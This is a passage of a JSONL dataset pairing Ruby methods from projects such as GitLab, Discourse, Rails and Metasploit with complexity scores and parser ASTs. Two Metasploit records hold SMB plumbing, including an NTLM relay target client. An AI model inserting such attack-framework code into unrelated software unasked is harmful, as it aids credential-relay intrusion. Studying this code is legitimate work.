[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datatypes\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_line_length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_documentation\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]}]}]},\"max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"see_documenation\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"enum\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enum_module_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"Schema\"]},\"to_singular_classname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enum_value_names\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"values\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_const_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"Schema\"]},\"to_const_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum_value_names\"]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enum_documentation\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    #   Any constant from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum_module_name\"]}]},{\"type\":\"str\",\"children\":[\" (e.g. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum_module_name\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_const_name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_documentation\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"ljust\",{\"type\":\"lvar\",\"children\":[\"max_line_length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_documentation\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum_documentation\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"see_documenation\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@enum_namespace\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum_module_name\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"documentation\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_documentation\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"documentation\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n    #\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"documentation\"]},\"<<\",{\"type\":\"str\",\"children\":[\"    # @return [void]\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"see_documenation\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"documentation\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n    #\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"documentation\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"see_documenation\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"see\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    # @see \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"see\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"documentation\"]}]}]}","id":"68a9d3f1-25c8-4866-ab32-781d8a9fb112"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/zoom_link_service.rb","start_line":100,"raw_source":"def can_change_link?\n      if @issue.persisted?\n        can?(current_user, :update_issue, @project)\n      else\n        can?(current_user, :create_issue, @project)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_change_link?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_issue\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_issue\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}","id":"0b874813-745e-4861-82b6-ea9d57b35091"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/deployments_finder.rb","start_line":182,"raw_source":"def order_by_updated_at?\n    params[:order_by].to_s == 'updated_at'\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"order_by_updated_at?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]}","id":"642812d1-53c1-45c7-b222-59dc6a0ae0ac"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/notification_decorator.rb","start_line":231,"raw_source":"def user_name\n    @user_name ||= json_data.dig \"user\", \"name\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}","id":"d49facec-c3f7-4824-9ecc-1c1b9de483ba"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":252,"raw_source":"def source_required?\n      return false if skip_source_requirement\n\n      payment_method&.source_required?\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"source_required?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_source_requirement\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_method\"]},\"source_required?\"]}]}]}","id":"72878602-937a-427b-9282-fb0c4139a3be"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_version.rb","start_line":744,"raw_source":"def screenshots_data_for_language_and_device(language, device, is_messages)\n        data_field = is_messages ? \"messagesScreenshots\" : \"screenshots\"\n        container_data_for_language_and_device(data_field, language, device)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"screenshots_data_for_language_and_device\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"language\"]},{\"type\":\"arg\",\"children\":[\"device\"]},{\"type\":\"arg\",\"children\":[\"is_messages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_field\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_messages\"]},{\"type\":\"str\",\"children\":[\"messagesScreenshots\"]},{\"type\":\"str\",\"children\":[\"screenshots\"]}]}]},{\"type\":\"send\",\"children\":[null,\"container_data_for_language_and_device\",{\"type\":\"lvar\",\"children\":[\"data_field\"]},{\"type\":\"lvar\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"device\"]}]}]}]}","id":"3430779a-5e42-4830-a0b5-766ccda11ad3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/relay/ntlm/target/smb/client.rb","start_line":35,"raw_source":"def self.create(provider, target, logger, timeout)\n      sock = Rex::Socket::Tcp.create(\n        'PeerHost' => target.ip,\n        'PeerPort' => target.port,\n        'Timeout' => timeout,\n        'Context' => {\n          'Caller' => provider\n        }\n      )\n\n      dispatcher = RubySMB::Dispatcher::Socket.new(sock)\n      new(\n        dispatcher,\n        provider: provider,\n        username: '',\n        password: '',\n        target: target,\n        always_encrypt: false,\n        logger: logger\n      )\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]},{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"logger\"]},{\"type\":\"arg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"Tcp\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Caller\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dispatcher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Dispatcher\"]},\"Socket\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"dispatcher\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"always_encrypt\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}]}]}","id":"7c44f281-0c12-43fa-a162-0d5b1cae965e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/importers/poll_importer.rb","start_line":9,"raw_source":"def initialize(lookup, database, text_processor, settings)\n      @lookup = lookup\n      @database = database\n      @text_processor = text_processor\n      @settings = settings\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lookup\"]},{\"type\":\"arg\",\"children\":[\"database\"]},{\"type\":\"arg\",\"children\":[\"text_processor\"]},{\"type\":\"arg\",\"children\":[\"settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@lookup\",{\"type\":\"lvar\",\"children\":[\"lookup\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@database\",{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@text_processor\",{\"type\":\"lvar\",\"children\":[\"text_processor\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@settings\",{\"type\":\"lvar\",\"children\":[\"settings\"]}]}]}]}","id":"79a7a67d-3f6e-468d-9d93-6c2df4f1592f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/lib/gitlab/http_v2/url_blocker.rb","start_line":292,"raw_source":"def multiline_blocked?(parsed_url)\n          url = parsed_url.to_s\n\n          return true if /\\n|\\r/.match?(url)\n          # Google Cloud Storage uses a multi-line, encoded Signature query string\n          return false if %w[http https].include?(parsed_url.scheme&.downcase)\n\n          CGI.unescape(url) =~ /\\n|\\r/\n        end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"multiline_blocked?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n|\\\\r\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"str\",\"children\":[\"https\"]}]},\"include?\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"scheme\"]},\"downcase\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n|\\\\r\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"da527616-56c1-4ef5-808c-1ce68f6bdef2"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/notification_spec.rb","start_line":645,"raw_source":"def unread_bookmark_reminder\n      fab(Notification.types[:bookmark_reminder], false)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unread_bookmark_reminder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"fab\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bookmark_reminder\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"e765b24a-e05b-4209-a4b1-7cb086f2c701"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_with_callbacks_test.rb","start_line":58,"raw_source":"def update_new_and_destroy_bird_attributes\n    [{ \"id\" => @birds[0].id.to_s, \"name\" => \"New Name\" },\n     { \"name\" => \"New Bird\" },\n     { \"id\" => bird_to_destroy.id.to_s, \"_destroy\" => true }]\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_new_and_destroy_bird_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@birds\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Bird\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bird_to_destroy\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_destroy\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"f01409b4-e98f-49ac-b402-ae8b2abf9edf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jira_import/metadata_collector.rb","start_line":8,"raw_source":"def initialize(jira_issue)\n        @jira_issue = jira_issue\n        @metadata = []\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jira_issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@jira_issue\",{\"type\":\"lvar\",\"children\":[\"jira_issue\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@metadata\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"f0ced7f8-b44a-4a25-a388-1c193b02a2de"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/flaky/failed_example.rb","start_line":13,"raw_source":"def message_lines\n        lines = @failed_example_notification.message_lines.join(\"\\n\")\n\n        # Strip ANSI color codes from the message lines as we are likely running in a terminal where `RSpec.color` is enabled\n        lines.gsub!(/\\e\\[[0-9;]*m/, \"\")\n        lines.strip!\n\n        lines\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"message_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@failed_example_notification\"]},\"message_lines\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\e\\\\[[0-9;]*m\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"strip!\"]},{\"type\":\"lvar\",\"children\":[\"lines\"]}]}]}","id":"1a94224d-1fcb-4aea-a02d-c7bc3584229e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/placeholder_users/memberships_controller.rb","start_line":38,"raw_source":"def find_individual_principal\n    @individual_principal = PlaceholderUser.find(params[:placeholder_user_id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_individual_principal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@individual_principal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlaceholderUser\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"placeholder_user_id\"]}]}]}]}]}","id":"e5bc7aa1-191d-4adc-8038-4d21197749fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/simple_client/open_pipe.rb","start_line":24,"raw_source":"def read_ruby_smb(length, offset, depth = 0)\n    if length.nil?\n      max_size = client.open_files[client.last_file_id].size\n      fptr = offset\n\n      chunk = [max_size, chunk_size].min\n\n      data = client.read(file_id, fptr, chunk).pack('C*')\n      fptr = data.length\n\n      while data.length < max_size\n        if (max_size - data.length) < chunk\n          chunk = max_size - data.length\n        end\n        data << client.read(file_id, fptr, chunk).pack('C*')\n        fptr = data.length\n      end\n    else\n      begin\n        client.read(file_id, offset, length).pack('C*')\n      rescue RubySMB::Error::UnexpectedStatusCode => e\n        if e.message == 'STATUS_PIPE_EMPTY' && depth < 20\n          read_ruby_smb(length, offset, depth + 1)\n        else\n          raise e\n        end\n      end\n    end\n  end","complexity_score":74.0,"ast_json":"{\"type\":\"def\",\"children\":[\"read_ruby_smb\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"optarg\",\"children\":[\"depth\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"open_files\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"last_file_id\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fptr\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_size\"]},{\"type\":\"send\",\"children\":[null,\"chunk_size\"]}]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"fptr\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fptr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"max_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_size\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_size\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"fptr\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fptr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Error\"]},\"UnexpectedStatusCode\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"==\",{\"type\":\"str\",\"children\":[\"STATUS_PIPE_EMPTY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\"<\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[null,\"read_ruby_smb\",{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}]}","id":"59b9799e-4b59-4921-8158-aabe15f52aa2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/helpers.rb","start_line":12,"raw_source":"def self.clean(html)\n      html.gsub(/<[^>]+>/, \" \").gsub(/\\n/, \"\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clean\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<[^>]+>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"57b0eb33-9235-4e4c-857c-21c49a7263c8"}
